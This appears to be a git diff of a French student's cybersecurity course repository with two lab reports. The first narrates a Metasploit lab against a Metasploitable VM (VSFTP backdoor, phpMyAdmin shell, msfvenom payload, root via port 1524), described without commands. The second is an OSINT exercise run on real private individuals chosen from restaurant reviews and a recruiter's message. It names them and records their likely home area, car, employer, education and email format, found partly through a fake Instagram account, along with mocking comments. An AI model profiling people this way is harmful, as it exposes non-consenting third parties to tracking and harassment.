b/Semaine_05/Jour_03/image-4.png differ diff --git a/Semaine_05/Jour_03/image-5.png b/Semaine_05/Jour_03/image-5.png new file mode 100644 index 0000000..f1fca36 Binary files /dev/null and b/Semaine_05/Jour_03/image-5.png differ diff --git a/Semaine_05/Jour_03/image.png b/Semaine_05/Jour_03/image.png new file mode 100644 index 0000000..c96fda7 Binary files /dev/null and b/Semaine_05/Jour_03/image.png differ diff --git a/Semaine_05/Jour_04/Gauvain_BOICHE_Compte_rendu_Lab_5.md b/Semaine_05/Jour_04/Gauvain_BOICHE_Compte_rendu_Lab_5.md new file mode 100644 index 0000000..5dfc4fe --- /dev/null +++ b/Semaine_05/Jour_04/Gauvain_BOICHE_Compte_rendu_Lab_5.md @@ -0,0 +1,85 @@ +# Laboratoire 05 - Gauvain BOICHÉ - 12/02/2026 + +## Analyse Cyber + +### Attaque sur Samba + +La configuration Réseau NAT, des deux VMs Kali et Metasploitable, c'est déjà rédigé, inutile de faire une redite. + +On recommence une cartographie des services de Metasploitable : + +![Nmap depuis KALI](image.png) + +On cherche ensuite les exploit correspondant à la demande SAMBA, pour Linux : + +![MSF search](image-1.png) + +Je n'aime pas spécialement les choix donnés, je tente avec "multi" et "unix" : +https://www.infosecmatter.com/metasploit-module-library/?mm=exploit%2Fmulti%2Fsamba%2Fusermap_script +![MSF search 2](image-2.png) + +Je choisis l'exploit cité dans l'exercice, ne m'y connaissant pas plus que ça, et les autres exploit ne m'inspirant pas grand chose. Je configure comme il faut : + +![Exploit config](image-3.png) + +### -- Interlude -- + +Devant une série de bogues, de comportements un peu cassés et autres joyeusetés, je désinstalle Metasplit et je réinstalle depuis le script sur le site officiel. + +(ça n'a rien changé, mais au moins l'installation est propre) + +### Attaque sur Samba (reprise) + +Je n'y arrive pas, ça n'ouvre pas de session, les solutions sur les forums HTB ne marchent pas, et je ne peux pas bloquer là-dessus éternellement. Je repasse en exploit VSFTP : + +![VSFTP](image-4.png) + +## Exploitation Web + +On va essayer d'attaquer par HTTP : + +![alt text](image-5.png) + +Je tente une analyse des dossiers avec `auxiliary/scanner/http/dir_scanner` : + +![alt text](image-6.png) + +On a plusieurs codes 200 intéressants : + +- /doc +- /icons +- /phpMyAdmin + +Oh, c'est dommage ça, PHP. + +![Recherche PHPMyAdmin](image-7.png) + +J'utilise un injecteur : + +![PHPinjection](image-8.png) + +![Shell dans PHP](image-9.png) + +## MSFVenom + +![x](image-10.png) + +Là c'est un peu chaud : j'ai trois onglets. Le premier sur ma Kali, le second avec le payload chargé, le troisième avec un Shell ouvert depuis la porte dérobée VSFTP. + +Premier onglet, je contrôle la présence du "shell.elf" : + +![alt text](image-11.png) + +Troisième onglet, je téléverse le payload sur la machine en utilisant une autre vulnérabilité. Elle a été trouvée en demandant à une IA un peu d'aide (Gemini Pro) : + +![alt text](image-12.png) + +Dans un autre onglet, j'ouvre un NetCat sur le port 1524 par Telnet et j'obtiens un accès root : + +![alt text](image-13.png) + +Si j'avais su... + +De fait, je "télécharge" le payload en utilisant le serveur web python temporaire : + +![alt text](image-14.png) \ No newline at end of file diff --git a/Semaine_05/Jour_04/Gauvain_BOICHE_Compte_rendu_Lab_5.pdf b/Semaine_05/Jour_04/Gauvain_BOICHE_Compte_rendu_Lab_5.pdf new file mode 100644 index 0000000..9ff850a Binary files /dev/null and b/Semaine_05/Jour_04/Gauvain_BOICHE_Compte_rendu_Lab_5.pdf differ diff --git a/Semaine_05/Jour_04/Lab05-Metasploit.pdf b/Semaine_05/Jour_04/Lab05-Metasploit.pdf new file mode 100644 index 0000000..31a5320 Binary files /dev/null and b/Semaine_05/Jour_04/Lab05-Metasploit.pdf differ diff --git a/Semaine_05/Jour_04/image-1.png b/Semaine_05/Jour_04/image-1.png new file mode 100644 index 0000000..0438b03 Binary files /dev/null and b/Semaine_05/Jour_04/image-1.png differ diff --git a/Semaine_05/Jour_04/image-10.png b/Semaine_05/Jour_04/image-10.png new file mode 100644 index 0000000..103f9ad Binary files /dev/null and b/Semaine_05/Jour_04/image-10.png differ diff --git a/Semaine_05/Jour_04/image-11.png b/Semaine_05/Jour_04/image-11.png new file mode 100644 index 0000000..382878a Binary files /dev/null and b/Semaine_05/Jour_04/image-11.png differ diff --git a/Semaine_05/Jour_04/image-12.png b/Semaine_05/Jour_04/image-12.png new file mode 100644 index 0000000..3b6f6d5 Binary files /dev/null and b/Semaine_05/Jour_04/image-12.png differ diff --git a/Semaine_05/Jour_04/image-13.png b/Semaine_05/Jour_04/image-13.png new file mode 100644 index 0000000..a0036d2 Binary files /dev/null and b/Semaine_05/Jour_04/image-13.png differ diff --git a/Semaine_05/Jour_04/image-14.png b/Semaine_05/Jour_04/image-14.png new file mode 100644 index 0000000..df79ac6 Binary files /dev/null and b/Semaine_05/Jour_04/image-14.png differ diff --git a/Semaine_05/Jour_04/image-2.png b/Semaine_05/Jour_04/image-2.png new file mode 100644 index 0000000..4b38a1d Binary files /dev/null and b/Semaine_05/Jour_04/image-2.png differ diff --git a/Semaine_05/Jour_04/image-3.png b/Semaine_05/Jour_04/image-3.png new file mode 100644 index 0000000..36e8df4 Binary files /dev/null and b/Semaine_05/Jour_04/image-3.png differ diff --git a/Semaine_05/Jour_04/image-4.png b/Semaine_05/Jour_04/image-4.png new file mode 100644 index 0000000..fe08f7d Binary files /dev/null and b/Semaine_05/Jour_04/image-4.png differ diff --git a/Semaine_05/Jour_04/image-5.png b/Semaine_05/Jour_04/image-5.png new file mode 100644 index 0000000..6b096d3 Binary files /dev/null and b/Semaine_05/Jour_04/image-5.png differ diff --git a/Semaine_05/Jour_04/image-6.png b/Semaine_05/Jour_04/image-6.png new file mode 100644 index 0000000..0d9a87c Binary files /dev/null and b/Semaine_05/Jour_04/image-6.png differ diff --git a/Semaine_05/Jour_04/image-7.png b/Semaine_05/Jour_04/image-7.png new file mode 100644 index 0000000..3327215 Binary files /dev/null and b/Semaine_05/Jour_04/image-7.png differ diff --git a/Semaine_05/Jour_04/image-8.png b/Semaine_05/Jour_04/image-8.png new file mode 100644 index 0000000..9bdeec3 Binary files /dev/null and b/Semaine_05/Jour_04/image-8.png differ diff --git a/Semaine_05/Jour_04/image-9.png b/Semaine_05/Jour_04/image-9.png new file mode 100644 index 0000000..1eb01bd Binary files /dev/null and b/Semaine_05/Jour_04/image-9.png differ diff --git a/Semaine_05/Jour_04/image.png b/Semaine_05/Jour_04/image.png new file mode 100644 index 0000000..1e88ec1 Binary files /dev/null and b/Semaine_05/Jour_04/image.png differ diff --git a/Semaine_05/Jour_05/Eval-01.pdf b/Semaine_05/Jour_05/Eval-01.pdf new file mode 100644 index 0000000..0d30c39 Binary files /dev/null and b/Semaine_05/Jour_05/Eval-01.pdf differ diff --git a/Semaine_05/Jour_05/Gauvain_BOICHE_Compte_rendu_Lab_6.md b/Semaine_05/Jour_05/Gauvain_BOICHE_Compte_rendu_Lab_6.md new file mode 100644 index 0000000..d9d93b1 --- /dev/null +++ b/Semaine_05/Jour_05/Gauvain_BOICHE_Compte_rendu_Lab_6.md @@ -0,0 +1,144 @@ +# Laboratoire 06 - Gauvain BOICHÉ - 13/02/2026 + +Pour choisir quelqu'un au hasard, déjà, je vais essayer de cibler quelqu'un qui ne fera pas chmir, typiquement un homme d'une classe sociale assez élevée et de plus de 30 ans. Je ne prends pas de risque en "ciblant" quelqu'un qui a des raisons de s'inquiéter qu'on le trace sur Internet. + +## Phase 1 - Identification + +Je regarde les avis d'un restaurant huppé, "La Tour d'Argent" à Paris, dont les prix vont bien tourner autour de mon objectif. Ce n'est pas un prolo qui s'offrira le prochain "Canard au sang" goûté par la Reine d'Angleterre. Je regarde les bons avis et je note les noms intéressants : + +![alt text](image.png) + +C'est ton heure, Wilfried. Je clique sur son profil pour voir ses avis en général : + +![alt text](image-1.png) + +Petit malin. On cache son historique ? Très bien. + +## Phase 2 - Réseaux Sociaux + +### Compte Google + +Depuis mon moteur "Kagi", pas de résultat. Depuis le moteur "Google", j'ai les avis : + +![alt text](image-2.png) + +J'ai déjà un peu d'historique. Et de fait je retrouve ses avis sur 4 restaurants : + +![alt text](image-3.png) + +Déjà je note quelque chose sur les échantillons plus étendus que j'ai (comprenant deux monuments aux morts et à Alexandre Dumas) : il tourne autour du 15ème arrondissement, et un peu dans le 11ème, qui n'est pas dans le même coin (les deux tournent autour du centre parisien, mais y sont opposés). + +Et surtout, j'ai un autre avis qui crame son lieu de vie sur le site d'un artisan de rénovation à Moissac pour une habitation à Nègrepelisse (ce nom mdr) dans les environs de Toulouse (avis vieux de 9 mois) : + +![alt text](image-4.png) + +Alors, ce n'est pas le même compte "Wilfrid Valloton", mais quelles seraient les chances d'avoir deux Wilfrid Vallotton dans la nature ? Peut-être un déménagement, ou alors un de ces "naveteurs" qui fait Toulouse - Paris régulièrement pour avoir les salaires parisiens et le cadre de vie provincial. + +## Phase 3 - Analyse d'image + +Je regarde ses avis Google et je vois de belles photos de plat (ça m'agace, MANGE). J'essaye d'exploiter une image et voir si des données EXIF existent : + +![alt text](image-5.png) + +Non, et j'aurais dû m'en douter. Google nettoie à l'envoi, et tant mieux. + +## Phase 4 - Recherche avancée + +Fouillant la piste de Nègrepelisse (non mais ce nom, j'en peux plus), je me dis qu'une toiture devrait peut-être faire l'objet d'un permis de construire. Je regarde donc les permis sur "france-cadastre.fr" : + +![alt text](image-6.png) + +Avis d'il y a 9 mois, refaire une toiture prend un peu de temps, plus le temps d'instruire le dossier et le faire valider... je peux remonter facilement jusqu'à 3-4 ans en arrière. Je les étudie tous, et je ne trouve rien de particulier. Peut-être finalement que ce ne sont pas les mêmes Wilfrid... + +## Phase 5 - Géolocalisation + +Je cartographie un peu les avis dans le 15ème et qui datent de moins de 6 mois : + +![alt text](image-7.png) + +Je me dis, vu que les avis ont l'air d'être laissés le midi, que soit il a un bon coup de fourchette régulier (bobo qui vit au-dessus de ses moyens ?) ou qu'il fait de nombreux dîners d'affaires, ou qu'il... a les moyens. + +Toutefois, à ce stade, je me heurte à la dure réalité : son nom est un pseudo, et son hygiène numérique est impeccable. Je pense que j'ai suivi une piste trop complexe. + +## Phase 6 - Chronologie + +J'ai du mal à retracer un historique d'un petit malin. Il me manque du temps et d'autres outils, et je ne vais pas pousser le vice non plus. Je le laisse à sa vie. + +## J'en prends un autre + +Je reste sur une page commentée par Wilfrid qui m'a fait perdre mon temps, et j'ai un "Jacques Chevolot" : + +![alt text](image-8.png) + +Allez, hop, tu vas manger. + +![alt text](image-9.png) + +![alt text](image-10.png) + +Donc : + +- Je sais qu'il vit un peu sous Paris depuis moins de 2 ans (hypnothérapeute il y a +3 ans, le reste des commentaires -2 ans) +- Qu'il a une 207 (top le garagiste/laveur de bagnoles) +- Qu'il fait du renforcement linguistique à Acadomia pour son compte +- Mais aussi qu'il fait des séjours au Canada + +Je cherche un profil LinkedIn et je tombe sur un profil qui mentionne un double cursus entre France et Canada (tiens tiens) : + +![alt text](image-11.png) + +![alt text](image-12.png) + +C'est dommage d'abréger "Business School" en "BS" comme "Bull Shit", un principe de la communication est de ne pas indiquer ce qu'on est _vraiment_. + +Je regarde ses "compétences" et j'ai tout un tas de baumes pour son petit coeur comme "Esprit Critique", "Minutieux", "Compétences analytiques" etc. Premier principe de communication : "ce qui est énoncé n'est pas acquis". Si on dit qu'on a de l'esprit critique, c'est qu'on en manque un brin. Ca ne se décrète pas, ça se prouve. Bref. Je crois que sa tête et son parcours inspirent en moi une sainte détestation de principe. + +Je lis ses commentaires et ses posts - je tombe même sur des posts supprimés depuis, ça n'assume pas ses échecs on dirait - et le profil semble être celui du petit droitard cryptobro rasé de près, école de commerce de merde et diplôme Pay2Win en poche depuis peu pour passer de la 207 à l'Audi neuve : + +![alt text](image-13.png) + +Mais à la rigueur, c'est pas terrible. Et puis ai-je envie de fouiller plus au risque de m'agacer tout seul ? + +## Une autre victime + +Ah, je reçois à l'instant un "InMail" me proposant un poste. Et bien, chère recruteuse, tu ne m'en voudras pas, n'est-ce pas ? Je refuse d'abord, je n'ouvre pas le PDF (on ne sait jamais, un script embarqué est si vite arrivé) puis je me lance : + +![alt text](image-14.png) + +La technique est rôdée : fausses propositions par de jolies femmes, arnaque à l'emploi classique. Premier essai avec TinEye pour voir si la photo est unique : + +![alt text](image-15.png) + +C'est bon signe. La photo a les imperfections propres à une vraie photo (la lumière ronde diffuse dans le reflet des yeux, symmétrie correcte, accessoires aux bons endroits et complets, etc) donc... on part sur une "vraie" personne. + +Je regarde le profil LinkedIn : + +![alt text](image-16.png) + +Bien, donc Paris et Suisse, recrutement IT, très bien. + +Je cherche son nom, je trouve un Instagram. Je créé un compte bidon au nom de Célestin VACHARD-CUSSIER avec un courriel proxy. + +![alt text](image-17.png) + +Ca valait l'coup, merci ! Je poursuis sur des sites professionnels : + +![alt text](image-18.png) + +Les adresses publiques sont rares visiblement, je vais sur Hunter.io directement avec les "crédits gratuits" et je regarde les résultats : + +![alt text](image-19.png) + +J'utilise un crédit et j'obtiens un courriel complet : + +![alt text](image-20.png) + +Je connais donc maintenant l'adresse pro de ma recruteuse. prenom.nom@qiminfo.ch, format classique. France Travail a le seul format que je trouve acceptable, à savoir prenom.nom suivi d'un identifiant à 3 chiffres. Impossible de le "deviner" sauf à le savoir. + +Je tombe surtout sur des profils RH et des sites d'emplois... et bon, traquer une femme sur Internet, je vais éviter. + +## Et moi alors ? + +Je cherche une certaine visibilité sur Internet, et je ressors sur des sujets divers depuis plus de 10 ans. J'efface les traces inutiles, j'ai supprimé pas mal de contenu sur LinkedIn pour qu'on m'associe moins bien à certaines choses, et le but à terme est de m'effacer de LinkedIn tout simplement, et depuis quelques années, je change de pseudo pour chaque site que je consulte. Mais c'est dur de refaire TOUT l'historique. + +Déjà : pas de photos publiées en public, que dans des cadres privés et maîtrisés. EXIF supprimés d'office. Photos d'entreprises ? Jamais avec moi dessus, je l'interdis explicitement. \ No newline at end of file diff --git a/Semaine_05/Jour_05/Gauvain_BOICHE_Compte_rendu_Lab_6.pdf b/Semaine_05/Jour_05/Gauvain_BOICHE_Compte_rendu_Lab_6.pdf new file mode 100644 index 0000000..bec66b1 Binary files /dev/null and b/Semaine_05/Jour_05/Gauvain_BOICHE_Compte_rendu_Lab_6.pdf differ diff --git a/Semaine_05/Jour_05/Gauvain_BOICHE_Eval_01.pdf b/Semaine_05/Jour_05/Gauvain_BOICHE_Eval_01.pdf new file mode 100644 index 0000000..a660bcf Binary files /dev/null and b/Semaine_05/Jour_05/Gauvain_BOICHE_Eval_01.pdf differ diff --git a/Semaine_05/Jour_05/Lab06-OSINT.pdf b/Semaine_05/Jour_05/Lab06-OSINT.pdf new file mode 100644 index 0000000..d1f1611 Binary files /dev/null and b/Semaine_05/Jour_05/Lab06-OSINT.pdf differ diff --git a/Semaine_05/Jour_05/image-1.png b/Semaine_05/Jour_05/image-1.png new file mode 100644 index 0000000..94d0151 Binary files /dev/null and b/Semaine_05/Jour_05/image-1.png differ diff --git a/Semaine_05/Jour_05/image-10.png b/Semaine_05/Jour_05/image-10.png new file mode 100644 index 0000000..7aea6d1 Binary files /dev/null and b/Semaine_05/Jour_05/image-10.png differ diff --git a/Semaine_05/Jour_05/image-11.png b/Semaine_05/Jour_05/image-11.png new file mode 100644 index 0000000..d8ad0af Binary files /dev/null and b/Semaine_05/Jour_05/image-11.png differ diff --git a/Semaine_05/Jour_05/image-12.png b/Semaine_05/Jour_05/image-12.png new file mode 100644 index 0000000..50614b2 Binary files /dev/null and b/Semaine_05/Jour_05/image-12.png differ diff --git a/Semaine_05/Jour_05/image-13.png b/Semaine_05/Jour_05/image-13.png new file mode 100644 index 0000000..119fab3 Binary files /dev/null and b/Semaine_05/Jour_05/image-13.png differ diff --git a/Semaine_05/Jour_05/image-14.png b/Semaine_05/Jour_05/image-14.png new file mode 100644 index 0000000..8bf3ca0 Binary files /dev/null and b/Semaine_05/Jour_05/image-14.png differ diff --git a/Semaine_05/Jour_05/image-15.png b/Semaine_05/Jour_05/image-15.png new file mode 100644 index 0000000..3c05403 Binary files /dev/null and b/Semaine_05/Jour_05/image-15.png differ diff --git a/Semaine_05/Jour_05/image-16.png b/Semaine_05/Jour_05/image-16.png new file mode 100644 index 0000000..8bb3384 Binary files /dev/null and b/Semaine_05/Jour_05/image-16.png differ diff --git a/Semaine_05/Jour_05/image-17.png b/Semaine_05/Jour_05/image-17.png new file mode 100644 index 0000000..88c8236 Binary files /dev/null and b/Semaine_05/Jour_05/image-17.png differ diff --git a/Semaine_05/Jour_05/image-18.png b/Semaine_05/Jour_05/image-18.png new file mode 100644 index 0000000..a8f6564 Binary files /dev/null and b/Semaine_05/Jour_05/image-18.png differ diff --git a/Semaine_05/Jour_05/image-19.png b/Semaine_05/Jour_05/image-19.png new file mode 100644 index 0000000..e3d879e Binary files /dev/null and b/Semaine_05/Jour_05/image-19.png differ diff --git a/Semaine_05/Jour_05/image-2.png b/Semaine_05/Jour_05/image-2.png new file mode 100644 index 0000000..c654bd6 Binary files /dev/null and b/Semaine_05/Jour_05/image-2.png differ diff --git a/Semaine_05/Jour_05/image-20.png b/Semaine_05/Jour_05/image-20.png new file mode 100644 index 0000000..1f1cbe6 Binary files /dev/null and b/Semaine_05/Jour_05/image-20.png differ diff --git a/Semaine_05/Jour_05/image-3.png b/Semaine_05/Jour_05/image-3.png new file mode 100644 index 0000000..1fda019 Binary files /dev/null and b/Semaine_05/Jour_05/image-3.png differ diff --git a/Semaine_05/Jour_05/image-4.png b/Semaine_05/Jour_05/image-4.png new file mode 100644 index 0000000..cfdd19c Binary files /dev/null and b/Semaine_05/Jour_05/image-4.png differ diff --git a/Semaine_05/Jour_05/image-5.png b/Semaine_05/Jour_05/image-5.png new file mode 100644 index 0000000..507dd2f Binary files /dev/null and b/Semaine_05/Jour_05/image-5.png differ diff --git a/Semaine_05/Jour_05/image-6.png b/Semaine_05/Jour_05/image-6.png new file mode 100644 index 0000000..f5b70c9 Binary files /dev/null and b/Semaine_05/Jour_05/image-6.png differ diff --git a/Semaine_05/Jour_05/image-7.png b/Semaine_05/Jour_05/image-7.png new file mode 100644 index 0000000..60ae3c8 Binary files /dev/null and b/Semaine_05/Jour_05/image-7.png differ diff --git a/Semaine_05/Jour_05/image-8.png b/Semaine_05/Jour_05/image-8.png new file mode 100644 index 0000000..c416b45 Binary files /dev/null and b/Semaine_05/Jour_05/image-8.png differ diff --git a/Semaine_05/Jour_05/image-9.png b/Semaine_05/Jour_05/image-9.png new file mode 100644 index 0000000..174296d Binary files /dev/null and b/Semaine_05/Jour_05/image-9.png differ diff --git a/Semaine_05/Jour_05/image.png b/Semaine_05/Jour_05/image.png new file mode 100644 index 0000000..cfea1ae Binary files /dev/null and b/Semaine_05/Jour_05/image.png differ diff --git a/Semaine_05/Jour_05/unnamed.png b/Semaine_05/Jour_05/unnamed.png new file mode 100644 index 0000000..be05a71 Binary files /dev/null and b/Semaine_05/Jour_05/unnamed.png differ diff --git a/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01.docx b/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01.docx new file mode 100644 index 0000000..722aaac Binary files /dev/null and b/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01.docx differ diff --git a/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01.pdf b/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01.pdf new file mode 100644 index 0000000..ea8e9ed Binary files /dev/null and b/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01.pdf differ diff --git a/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01_COMMENTAIRES.pdf b/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01_COMMENTAIRES.pdf new file mode 100644 index 0000000..caf5969 Binary files /dev/null and b/Semaine_06/Jour_01/Adam_Gilberto_Gauvain_CyberSecurity_Report_01_COMMENTAIRES.pdf differ diff --git a/Semaine_06/Jour_01/Correction exercice 2.pdf b/Semaine_06/Jour_01/Correction exercice 2.pdf new file mode 100644 index 0000000..4d2b3b3 Binary files /dev/null and b/Semaine_06/Jour_01/Correction exercice 2.pdf differ diff --git a/Semaine_06/Jour_01/Exercice 1.pdf b/Semaine_06/Jour_01/Exercice 1.pdf new file mode 100644 index 0000000..c8bbbde Binary files /dev/null and b/Semaine_06/Jour_01/Exercice 1.pdf differ diff --git a/Semaine_06/Jour_01/Exercice 2.pdf b/Semaine_06/Jour_01/Exercice 2.pdf new file mode 100644 index 0000000..6bc6085 Binary files /dev/null and b/Semaine_06/Jour_01/Exercice 2.pdf differ diff --git a/Semaine_06/Jour_01/security by design 1.pdf b/Semaine_06/Jour_01/security by design 1.pdf new file mode 100644 index 0000000..be24c32 Binary files /dev/null and b/Semaine_06/Jour_01/security by design 1.pdf differ diff --git a/Semaine_06/Jour_01/security by design 2 bis1.pdf b/Semaine_06/Jour_01/security by design 2 bis1.pdf new file mode 100644 index 0000000..ea909bf Binary files /dev/null and b/Semaine_06/Jour_01/security by design 2 bis1.pdf differ diff --git a/Semaine_06/Jour_01/security by design 2bis 2.pdf b/Semaine_06/Jour_01/security by design 2bis 2.pdf new file mode 100644 index 0000000..dff4d8e Binary files /dev/null and b/Semaine_06/Jour_01/security by design 2bis 2.pdf differ diff --git a/Semaine_06/Jour_01/security by design 3.pdf b/Semaine_06/Jour_01/security by design 3.pdf new file mode 100644 index 0000000..632cde1 Binary files /dev/null and b/Semaine_06/Jour_01/security by design 3.pdf differ diff --git a/Semaine_06/Jour_02/Boiche x birba tp 3 + 4.pdf b/Semaine_06/Jour_02/Boiche x birba tp 3 + 4.pdf new file mode 100644 index 0000000..3100fb5 Binary files /dev/null and b/Semaine_06/Jour_02/Boiche x birba tp 3 + 4.pdf differ diff --git a/Semaine_06/Jour_02/Exercice 3.pdf b/Semaine_06/Jour_02/Exercice 3.pdf new file mode 100644 index 0000000..3c7342c Binary files /dev/null and b/Semaine_06/Jour_02/Exercice 3.pdf differ diff --git a/Semaine_06/Jour_02/Exercice 4.pdf b/Semaine_06/Jour_02/Exercice 4.pdf new file mode 100644 index 0000000..f2fbec8 Binary files /dev/null and b/Semaine_06/Jour_02/Exercice 4.pdf differ diff --git a/Semaine_06/Jour_03/Correction exercice 5.pdf b/Semaine_06/Jour_03/Correction exercice 5.pdf new file mode 100644 index 0000000..a450203 Binary files /dev/null and b/Semaine_06/Jour_03/Correction exercice 5.pdf differ diff --git a/Semaine_06/Jour_03/Correction exercice 6.pdf b/Semaine_06/Jour_03/Correction exercice 6.pdf new file mode 100644 index 0000000..d0561a5 Binary files /dev/null and b/Semaine_06/Jour_03/Correction exercice 6.pdf differ diff --git a/Semaine_06/Jour_03/Exercice 5.pdf b/Semaine_06/Jour_03/Exercice 5.pdf new file mode 100644 index 0000000..ac1b0da Binary files /dev/null and b/Semaine_06/Jour_03/Exercice 5.pdf differ diff --git a/Semaine_06/Jour_03/Exercice 6.pdf b/Semaine_06/Jour_03/Exercice 6.pdf new file mode 100644 index 0000000..f4a2f06 Binary files /dev/null and b/Semaine_06/Jour_03/Exercice 6.pdf differ diff --git a/Semaine_06/Jour_03/Exercices_05_06_18_02_2026.docx b/Semaine_06/Jour_03/Exercices_05_06_18_02_2026.docx new file mode 100644 index 0000000..cc8c0ac Binary files /dev/null and b/Semaine_06/Jour_03/Exercices_05_06_18_02_2026.docx differ diff --git a/Semaine_06/Jour_03/Exercices_05_06_18_02_2026.pdf b/Semaine_06/Jour_03/Exercices_05_06_18_02_2026.pdf new file mode 100644 index 0000000..dcdfdbd Binary files /dev/null and b/Semaine_06/Jour_03/Exercices_05_06_18_02_2026.pdf differ diff --git a/Semaine_06/Jour_04/Exercice 8.pdf b/Semaine_06/Jour_04/Exercice 8.pdf new file mode 100644 index 0000000..49b6c2c Binary files /dev/null and b/Semaine_06/Jour_04/Exercice 8.pdf differ diff --git a/Semaine_06/Jour_04/Exercice_08_18_02_2026.docx b/Semaine_06/Jour_04/Exercice_08_18_02_2026.docx new file mode 100644 index 0000000..61d2681 Binary files /dev/null and b/Semaine_06/Jour_04/Exercice_08_18_02_2026.docx differ diff --git a/Semaine_06/Jour_04/Exercice_08_18_02_2026.pdf b/Semaine_06/Jour_04/Exercice_08_18_02_2026.pdf new file mode 100644 index 0000000..c502dd0 Binary files /dev/null and b/Semaine_06/Jour_04/Exercice_08_18_02_2026.pdf differ diff --git a/Semaine_06/Jour_04/mycollection.zip b/Semaine_06/Jour_04/mycollection.zip new file mode 100644 index 0000000..d38dad8 Binary files /dev/null and b/Semaine_06/Jour_04/mycollection.zip differ diff --git a/Semaine_06/Jour_05/001-code.png b/Semaine_06/Jour_05/001-code.png new file mode 100644 index 0000000..1f6efc5 Binary files /dev/null and b/Semaine_06/Jour_05/001-code.png differ diff --git a/Semaine_06/Jour_05/002-analyse.png b/Semaine_06/Jour_05/002-analyse.png new file mode 100644 index 0000000..ee0048d Binary files /dev/null and b/Semaine_06/Jour_05/002-analyse.png differ diff --git a/Semaine_06/Jour_05/003-inspection.png b/Semaine_06/Jour_05/003-inspection.png new file mode 100644 index 0000000..b0927a0 Binary files /dev/null and b/Semaine_06/Jour_05/003-inspection.png differ diff --git a/Semaine_06/Jour_05/004-planning.png b/Semaine_06/Jour_05/004-planning.png new file mode 100644 index 0000000..688c8cd Binary files /dev/null and b/Semaine_06/Jour_05/004-planning.png differ diff --git a/Semaine_06/Jour_05/Exercice 10.docx b/Semaine_06/Jour_05/Exercice 10.docx new file mode 100644 index 0000000..fcecaa9 Binary files /dev/null and b/Semaine_06/Jour_05/Exercice 10.docx differ diff --git a/Semaine_06/Jour_05/Exercice 9.docx b/Semaine_06/Jour_05/Exercice 9.docx new file mode 100644 index 0000000..0b0a1fa Binary files /dev/null and b/Semaine_06/Jour_05/Exercice 9.docx differ diff --git a/Semaine_06/Jour_05/Exercice_09_10_19_02_2026.docx b/Semaine_06/Jour_05/Exercice_09_10_19_02_2026.docx new file mode 100644 index 0000000..aa9369d Binary files /dev/null and b/Semaine_06/Jour_05/Exercice_09_10_19_02_2026.docx differ diff --git a/Semaine_06/Jour_05/Exercice_09_10_19_02_2026.pdf b/Semaine_06/Jour_05/Exercice_09_10_19_02_2026.pdf new file mode 100644 index 0000000..88509cc Binary files /dev/null and b/Semaine_06/Jour_05/Exercice_09_10_19_02_2026.pdf differ diff --git a/Semaine_06/Jour_05/Exo_9_graph-Pipeline_CI_CD (1).png b/Semaine_06/Jour_05/Exo_9_graph-Pipeline_CI_CD (1).png new file mode 100644 index 0000000..266ae49 Binary files /dev/null and b/Semaine_06/Jour_05/Exo_9_graph-Pipeline_CI_CD (1).png differ diff --git a/Semaine_06/Jour_05/Exo_9_graph-Vault_pipeline.png b/Semaine_06/Jour_05/Exo_9_graph-Vault_pipeline.png new file mode 100644 index 0000000..1c46b39 Binary files /dev/null and b/Semaine_06/Jour_05/Exo_9_graph-Vault_pipeline.png differ diff --git a/Semaine_06/Jour_05/_001.png b/Semaine_06/Jour_05/_001.png new file mode 100644 index 0000000..a64a05d Binary files /dev/null and b/Semaine_06/Jour_05/_001.png differ diff --git a/Semaine_06/Jour_05/_002.png b/Semaine_06/Jour_05/_002.png new file mode 100644 index 0000000..f066c73 Binary files /dev/null and b/Semaine_06/Jour_05/_002.png differ diff --git a/Semaine_06/Jour_05/datadog-1.svg b/Semaine_06/Jour_05/datadog-1.svg new file mode 100644 index 0000000..49e6f84 --- /dev/null +++ b/Semaine_06/Jour_05/datadog-1.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Semaine_06/Jour_05/docker-icon.svg b/Semaine_06/Jour_05/docker-icon.svg new file mode 100644 index 0000000..9bd3874 --- /dev/null +++ b/Semaine_06/Jour_05/docker-icon.svg @@ -0,0 +1,8 @@ + + + + + + + + \ No newline at end of file diff --git a/Semaine_06/Jour_05/git-icon-logo.svg b/Semaine_06/Jour_05/git-icon-logo.svg new file mode 100644 index 0000000..246df56 --- /dev/null +++ b/Semaine_06/Jour_05/git-icon-logo.svg @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/Semaine_06/Jour_05/gitlab.svg b/Semaine_06/Jour_05/gitlab.svg new file mode 100644 index 0000000..222fe00 --- /dev/null +++ b/Semaine_06/Jour_05/gitlab.svg @@ -0,0 +1,2 @@ + +file_type_gitlab \ No newline at end of file diff --git a/Semaine_06/Jour_05/hashicorp.svg b/Semaine_06/Jour_05/hashicorp.svg new file mode 100644 index 0000000..957af17 --- /dev/null +++ b/Semaine_06/Jour_05/hashicorp.svg @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Semaine_06/Jour_05/mycollection (1).zip b/Semaine_06/Jour_05/mycollection (1).zip new file mode 100644 index 0000000..af59cd3 Binary files /dev/null and b/Semaine_06/Jour_05/mycollection (1).zip differ diff --git a/Semaine_06/Jour_05/people.png b/Semaine_06/Jour_05/people.png new file mode 100644 index 0000000..83cade2 Binary files /dev/null and b/Semaine_06/Jour_05/people.png differ diff --git a/Semaine_07/Jour_01/Company_MySQL_001.mwb b/Semaine_07/Jour_01/Company_MySQL_001.mwb new file mode 100644 index 0000000..92d43c6 Binary files /dev/null and b/Semaine_07/Jour_01/Company_MySQL_001.mwb differ diff --git a/Semaine_07/Jour_01/Company_MySQL_001.mwb.bak b/Semaine_07/Jour_01/Company_MySQL_001.mwb.bak new file mode 100644 index 0000000..6a2fb32 Binary files /dev/null and b/Semaine_07/Jour_01/Company_MySQL_001.mwb.bak differ diff --git a/Semaine_07/Jour_01/docker-compose.yml b/Semaine_07/Jour_01/docker-compose.yml new file mode 100644 index 0000000..bf96c04 --- /dev/null +++ 